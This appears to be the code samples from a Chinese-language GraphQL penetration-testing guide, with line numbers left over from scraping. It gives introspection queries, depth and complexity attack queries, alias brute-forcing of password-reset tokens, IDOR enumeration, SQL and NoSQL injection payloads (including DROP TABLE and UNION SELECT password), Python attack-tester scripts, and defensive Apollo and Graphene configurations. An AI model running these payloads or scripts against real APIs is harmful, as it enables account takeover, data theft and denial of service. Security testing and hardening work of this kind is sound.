1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

# 完整 Schema 查詢
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
      }
    }
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# 基本 Introspection 查詢
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}'

# 查詢所有 Query 類型
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { queryType { fields { name description } } } }"}'

# 查詢所有 Mutation 類型
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { mutationType { fields { name description args { name type { name } } } } } }"}'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 查詢特定類型的詳細資訊
query {
  __type(name: "User") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

# 尋找可能包含敏感資訊的欄位
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 惡意深度查詢範例
query DepthAttack {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                friends {
                  id
                  name
                  email
                }
              }
            }
          }
        }
      }
    }
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# 高複雜度查詢 - 同時請求大量資料
query ComplexityAttack {
  users(first: 1000) {
    id
    name
    posts(first: 1000) {
      id
      title
      comments(first: 1000) {
        id
        content
        author {
          id
          name
        }
      }
    }
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

#!/usr/bin/env python3
"""
GraphQL Depth Attack Tester
測試目標 API 的查詢深度限制
"""

import requests
import json

def generate_depth_query(depth: int, field_name: str = "friends") -> str:
    """生成指定深度的巢狀查詢"""
    query = "{ user(id: 1) "
    for _ in range(depth):
        query += f"{{ {field_name} "
    query += "{ id name }"
    for _ in range(depth):
        query += " }"
    query += " }"
    return query

def test_depth_limit(url: str, max_depth: int = 20):
    """測試 API 的深度限制"""
    headers = {"Content-Type": "application/json"}

    for depth in range(1, max_depth + 1):
        query = generate_depth_query(depth)
        payload = {"query": query}

        try:
            response = requests.post(url, json=payload, headers=headers, timeout=30)
            result = response.json()

            if "errors" in result:
                print(f"[!] 深度 {depth}: 被阻擋 - {result['errors'][0].get('message', 'Unknown error')}")
                return depth - 1
            else:
                print(f"[+] 深度 {depth}: 成功執行")
        except requests.exceptions.Timeout:
            print(f"[!] 深度 {depth}: 請求逾時 - 可能導致 DoS")
            return depth
        except Exception as e:
            print(f"[!] 深度 {depth}: 錯誤 - {str(e)}")

    print(f"[!] 警告: API 未限制查詢深度 (測試至 {max_depth})")
    return max_depth

if __name__ == "__main__":
    target_url = "https://target.com/graphql"
    max_allowed_depth = test_depth_limit(target_url)
    print(f"\n[*] 最大允許深度: {max_allowed_depth}")

1
2
3
4
5
6
7
8

// 批次查詢請求
[
  {"query": "{ user(id: 1) { id name email } }"},
  {"query": "{ user(id: 2) { id name email } }"},
  {"query": "{ user(id: 3) { id name email } }"},
  {"query": "{ user(id: 4) { id name email } }"},
  {"query": "{ user(id: 5) { id name email } }"}
]

1
2
3
4
5
6
7
8

# 使用別名在單一查詢中請求多筆資料
query BatchWithAliases {
  user1: user(id: 1) { id name email }
  user2: user(id: 2) { id name email }
  user3: user(id: 3) { id name email }
  user4: user(id: 4) { id name email }
  user5: user(id: 5) { id name email }
}

1
2
3
4
5
6
7

# 利用別名暴力破解
mutation BruteForceToken {
  attempt1: resetPassword(token: "000001", newPassword: "hacked") { success }
  attempt2: resetPassword(token: "000002", newPassword: "hacked") { success }
  attempt3: resetPassword(token: "000003", newPassword: "hacked") { success }
  # ... 更多嘗試
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

#!/usr/bin/env python3
"""
GraphQL Batch Attack Tester
測試批次查詢與別名攻擊
"""

import requests
import json

def test_batch_queries(url: str, count: int = 100):
    """測試批次查詢是否被限制"""
    headers = {"Content-Type": "application/json"}

    # 方法 1: 陣列批次查詢
    batch_queries = [
        {"query": f"{{ user(id: {i}) {{ id name }} }}"}
        for i in range(1, count + 1)
    ]

    print(f"[*] 測試陣列批次查詢 ({count} 個查詢)...")
    response = requests.post(url, json=batch_queries, headers=headers)

    if response.status_code == 200:
        results = response.json()
        if isinstance(results, list):
            print(f"[!] 批次查詢成功: 收到 {len(results)} 個回應")
        else:
            print("[+] 批次查詢被阻擋或不支援")

    # 方法 2: 別名批次查詢
    alias_query = "query BatchTest {\n"
    for i in range(1, min(count, 50) + 1):
        alias_query += f"  user{i}: user(id: {i}) {{ id name }}\n"
    alias_query += "}"

    print(f"\n[*] 測試別名批次查詢...")
    response = requests.post(url, json={"query": alias_query}, headers=headers)

    if response.status_code == 200:
        result = response.json()
        if "errors" not in result:
            print(f"[!] 別名批次查詢成功")
        else:
            print(f"[+] 別名批次查詢被限制: {result['errors'][0].get('message', '')}")

if __name__ == "__main__":
    target_url = "https://target.com/graphql"
    test_batch_queries(target_url)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# 測試存取其他使用者的資料
query {
  user(id: 2) {  # 嘗試存取非自己的 ID
    id
    name
    email
    privateData
    creditCardInfo
  }
}

# 測試存取其他使用者的訂單
query {
  order(id: "ORDER-12345") {
    id
    userId
    items
    totalAmount
    shippingAddress
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

#!/usr/bin/env python3
"""
GraphQL IDOR Enumeration Tool
列舉並測試 IDOR 漏洞
"""

import requests
import json
from concurrent.futures import ThreadPoolExecutor

def enumerate_users(url: str, start_id: int, end_id: int):
    """列舉使用者 ID"""
    headers = {"Content-Type": "application/json"}
    found_users = []

    def check_user(user_id):
        query = f"""
        query {{
          user(id: {user_id}) {{
            id
            name
            email
          }}
        }}
        """
        try:
            response = requests.post(url, json={"query": query}, headers=headers)
            result = response.json()
            if "data" in result and result["data"].get("user"):
                return result["data"]["user"]
        except:
            pass
        return None

    with ThreadPoolExecutor(max_workers=10) as executor:
        results = executor.map(check_user, range(start_id, end_id + 1))
        for user in results:
            if user:
                found_users.append(user)
                print(f"[+] 發現使用者: {user}")

    return found_users

if __name__ == "__main__":
    target_url = "https://target.com/graphql"
    users = enumerate_users(target_url, 1, 100)
    print(f"\n[*] 共發現 {len(users)} 個使用者")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# 測試未授權的 Mutation
mutation {
  updateUser(id: 2, data: { role: "admin" }) {
    id
    role
  }
}

# 測試存取管理員功能
query {
  adminDashboard {
    totalUsers
    totalRevenue
    sensitiveMetrics
  }
}

# 測試存取其他使用者的敏感操作
mutation {
  deleteAccount(userId: 2) {
    success
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# 某些欄位可能未正確實作授權
query {
  user(id: 1) {
    id
    name
    email           # 可能公開
    password        # 應該被隱藏
    ssn             # 敏感資訊
    creditScore     # 應該需要特殊權限
    internalNotes   # 內部使用
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# 在參數中嘗試 SQL 注入
query {
  user(name: "admin' OR '1'='1") {
    id
    name
    email
  }
}

# 在搜尋功能中測試
query {
  searchUsers(query: "test' UNION SELECT username, password FROM users--") {
    id
    name
  }
}

# 使用變數進行注入測試
query GetUser($id: String!) {
  user(id: $id) {
    id
    name
  }
}

# Variables:
# { "id": "1; DROP TABLE users;--" }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# MongoDB 風格的注入
query {
  user(filter: "{ \"$gt\": \"\" }") {
    id
    name
    email
  }
}

# 測試 $where 注入
query {
  users(where: "this.role == 'admin' || true") {
    id
    name
    role
  }
}

# JSON 注入
query {
  user(id: "{\"$ne\": null}") {
    id
    name
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

#!/usr/bin/env python3
"""
GraphQL Injection Tester
測試 SQL 和 NoSQL 注入漏洞
"""

import requests
import json

SQL_PAYLOADS = [
    "' OR '1'='1",
    "' OR '1'='1'--",
    "1; DROP TABLE users--",
    "' UNION SELECT NULL--",
    "1' AND SLEEP(5)--",
    "admin'--",
]

NOSQL_PAYLOADS = [
    '{"$gt": ""}',
    '{"$ne": null}',
    '{"$regex": ".*"}',
    '{"$where": "1==1"}',
]

def test_injection(url: str, query_template: str, param_name: str):
    """測試注入漏洞"""
    headers = {"Content-Type": "application/json"}

    print("[*] 測試 SQL 注入...")
    for payload in SQL_PAYLOADS:
        query = query_template.replace("{{PAYLOAD}}", payload)
        try:
            response = requests.post(
                url,
                json={"query": query},
                headers=headers,
                timeout=10
            )
            result = response.json()

            # 檢查是否有異常回應
            if "errors" in result:
                error_msg = result["errors"][0].get("message", "")
                if any(keyword in error_msg.lower() for keyword in ["sql", "syntax", "query"]):
                    print(f"[!] 可能的 SQL 注入: {payload}")
                    print(f"    錯誤訊息: {error_msg}")
            elif "data" in result:
                print(f"[!] Payload 執行成功: {payload}")

        except requests.exceptions.Timeout:
            print(f"[!] 時間型注入可能成功: {payload}")
        except Exception as e:
            pass

    print("\n[*] 測試 NoSQL 注入...")
    for payload in NOSQL_PAYLOADS:
        query = query_template.replace("{{PAYLOAD}}", payload)
        try:
            response = requests.post(
                url,
                json={"query": query},
                headers=headers,
                timeout=10
            )
            result = response.json()

            if "data" in result and result["data"]:
                print(f"[!] NoSQL 注入可能成功: {payload}")

        except Exception as e:
            pass

if __name__ == "__main__":
    target_url = "https://target.com/graphql"

    # 自訂查詢模板
    query_template = '''
    query {
      user(id: "{{PAYLOAD}}") {
        id
        name
      }
    }
    '''

    test_injection(target_url, query_template, "id")

1
2
3
4
5

# 使用 Docker 運行
docker run -p 8080:8080 graphql/voyager

# 或使用線上版本
# https://graphql-kit.com/graphql-voyager/

1
2
3
4
5

# 透過 BApp Store 安裝
# 或從 GitHub 下載
git clone https://github.com/doyensec/inql
cd inql
pip install -r requirements.txt

1
2
3
4
5
6
7
8

# 使用命令列工具
inql -t https://target.com/graphql

# 生成所有查詢
inql -t https://target.com/graphql --generate-all

# 匯出為 HTML 報告
inql -t https://target.com/graphql -o output/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# 安裝
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
pip install -r requirements.txt

# 使用
python graphqlmap.py -u https://target.com/graphql

# 常用命令
# dump_new     - 列出所有類型和欄位
# dump_via_introspection - 完整 Introspection
# nosqli       - NoSQL 注入測試
# sqli         - SQL 注入測試

1
2
3
4
5

# 安裝桌面版
# https://altair.sirmuel.design/

# 或使用瀏覽器擴充套件
# Chrome/Firefox Extension 可在商店下載

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#!/bin/bash
# GraphQL Security Scanner Script

TARGET="https://target.com/graphql"
OUTPUT_DIR="./graphql_scan_results"

mkdir -p $OUTPUT_DIR

echo "[*] Starting GraphQL Security Scan..."

# 1. Introspection Test
echo "[*] Testing Introspection..."
curl -s -X POST $TARGET \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name } } }"}' \
  > $OUTPUT_DIR/introspection.json

# 2. Get all types
echo "[*] Extracting types..."
curl -s -X POST $TARGET \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { queryType { fields { name description } } mutationType { fields { name description } } } }"}' \
  > $OUTPUT_DIR/types.json

# 3. Test batch queries
echo "[*] Testing batch queries..."
curl -s -X POST $TARGET \
  -H "Content-Type: application/json" \
  -d '[{"query": "{ __typename }"},{"query": "{ __typename }"},{"query": "{ __typename }"}]' \
  > $OUTPUT_DIR/batch_test.json

echo "[*] Scan complete. Results saved to $OUTPUT_DIR/"

1
2
3
4
5
6
7

// Apollo Server 設定
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',
  playground: process.env.NODE_ENV !== 'production',
});

1
2
3
4
5
6
7
8

# Graphene (Python) 設定
from graphene import Schema

schema = Schema(
    query=Query,
    mutation=Mutation,
    introspection=False  # 在生產環境停用
)

1
2
3
4
5
6
7
8

// 使用 graphql-depth-limit
const depthLimit = require('graphql-depth-limit');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)],  // 限制最大深度為 5
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

// 使用 graphql-query-complexity
const {
  createComplexityRule,
  simpleEstimator,
  fieldExtensionsEstimator
} = require('graphql-query-complexity');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    createComplexityRule({
      maximumComplexity: 1000,
      estimators: [
        fieldExtensionsEstimator(),
        simpleEstimator({ defaultComplexity: 1 }),
      ],
      onComplete: (complexity) => {
        console.log('Query Complexity:', complexity);
      },
    }),
  ],
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

// 使用 graphql-rate-limit
const { createRateLimitDirective } = require('graphql-rate-limit');

const rateLimitDirective = createRateLimitDirective({
  identifyContext: (ctx) => ctx.user?.id || ctx.ip,
});

const schema = makeExecutableSchema({
  typeDefs: `
    directive @rateLimit(
      max: Int,
      window: String,
      message: String
    ) on FIELD_DEFINITION

    type Query {
      sensitiveData: String @rateLimit(max: 10, window: "1m")
    }
  `,
  resolvers,
  schemaDirectives: {
    rateLimit: rateLimitDirective,
  },
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

// 在 Resolver 層級實作授權
const resolvers = {
  Query: {
    user: async (parent, { id }, context) => {
      // 檢查使用者是否已登入
      if (!context.user) {
        throw new AuthenticationError('請先登入');
      }

      // 檢查是否有權限存取該資料
      if (context.user.id !== id && context.user.role !== 'admin') {
        throw new ForbiddenError('無權限存取此資源');
      }

      return await User.findById(id);
    },
  },
};

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

// 使用驗證庫進行輸入驗證
const Joi = require('joi');

const userInputSchema = Joi.object({
  name: Joi.string().max(100).required(),
  email: Joi.string().email().required(),
  age: Joi.number().integer().min(0).max(150),
});

const resolvers = {
  Mutation: {
    createUser: async (parent, { input }, context) => {
      // 驗證輸入
      const { error, value } = userInputSchema.validate(input);
      if (error) {
        throw new UserInputError('輸入驗證失敗', {
          validationErrors: error.details,
        });
      }

      // 使用驗證後的資料
      return await User.create(value);
    },
  },
};

1
2
3
4
5
6

// Apollo Server 設定
const server = new ApolloServer({
  typeDefs,
  resolvers,
  allowBatchedHttpRequests: false,  // 停用批次查詢
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

// 實作查詢日誌
const server = new ApolloServer({
  typeDefs,
  resolvers,
  plugins: [
    {
      requestDidStart(requestContext) {
        console.log('Query:', requestContext.request.query);
        return {
          willSendResponse(requestContext) {
            console.log('Response:', requestContext.response);
          },
          didEncounterErrors(requestContext) {
            console.error('Errors:', requestContext.errors);
          },
        };
      },
    },
  ],
});